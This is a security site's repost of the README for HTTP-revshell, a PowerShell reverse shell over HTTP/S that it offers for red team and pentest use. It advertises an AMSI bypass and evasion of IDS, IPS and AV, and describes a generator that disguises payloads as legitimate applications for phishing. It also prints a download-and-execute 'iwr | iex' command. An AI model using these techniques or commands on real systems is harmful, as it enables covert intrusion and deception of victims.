HTTP-revshell - Powershell reverse shell using HTTP/S protocol with AMSI bypass and Proxy Aware


HTTP-revshell is a tool focused on red team exercises and pentesters. This tool provides a reverse connection through the HTTP/s protocol. It uses a covert channel to gain control over the victim machine through web requests and thus evade solutions such as IDS, IPS, and AV.

Help (unisession server)

Server usage:

usage: [-h] [--ssl] [--autocomplete] host port

Process some integers.

positional arguments:
  host            Listen Host
  port            Listen Port

optional arguments:
  -h, --help      show this help message and exit
  --ssl           Send traffic over ssl
  --autocomplete  Autocomplete powershell functions

Help Invoke-WebRev.ps1 (client)

Client usage:

Import-Module .\Invoke-WebRev.ps1
Invoke-WebRev -ip IP -port PORT [-ssl]


git clone
cd HTTP-revshell/
pip3 install -r requirements.txt

Quick start (multisession server)

This server allows multiple connection of clients.
There is a menu with three basic commands: sessions, interact and exit
     - sessions --> show currently active sessions
     - interact --> interacts with a session (Example: interact <session_id>)
     - exit --> close the application

IMPORTANT: To change the session press CTRL+d to exit the current session without closing it.


  • SSL
  • Proxy Aware
  • Upload Function
  • Download Function
  • Error Control
  • AMSI bypass
  • Multiple sessions [only]
  • Autocomplete PowerShell functions (optional) [only]

Extra functions usage


  • upload /src/path/file C:\dest\path\file


  • download C:\src\path\file /dst/path/file

Help Revshell-Generator.ps1 (Automatic Payload Generator)

This script allows you to create an executable file with the payload necessary to use HTTP-revshell, you just need to follow the instructions on the screen to generate it. There are 6 predefined templates and a customizable one, with the data that you like.

The payloads generated by the tool, incorporate the legitimate icon of the application, as well as the product and copyright information of the original application. In addition, each of them opens the original application before establishing a connection with the server, pretending to be a legitimate application. This can be used for phishing or Red Team exercises.

Payload Generator usage:

powershell -ep bypass "iwr -useb | iex"

IMPORTANT: All fields in predefined templates are auto-complete by pressing the enter key.


Disclaimer & License

This script is licensed under LGPLv3+. Direct link to License.

HTTP-revshell should be used for authorized penetration testing and/or nonprofit educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own servers and/or with the server owner's permission.

September 15, 2020
Notify of
Inline Feedbacks
View all comments
© HAKIN9 MEDIA SP. Z O.O. SP. K. 2023
What certifications or qualifications do you hold?
Max. file size: 150 MB.
What level of experience should the ideal candidate have?
What certifications or qualifications are preferred?

Download Free eBook

Step 1 of 4


We’re committed to your privacy. Hakin9 uses the information you provide to us to contact you about our relevant content, products, and services. You may unsubscribe from these communications at any time. For more information, check out our Privacy Policy.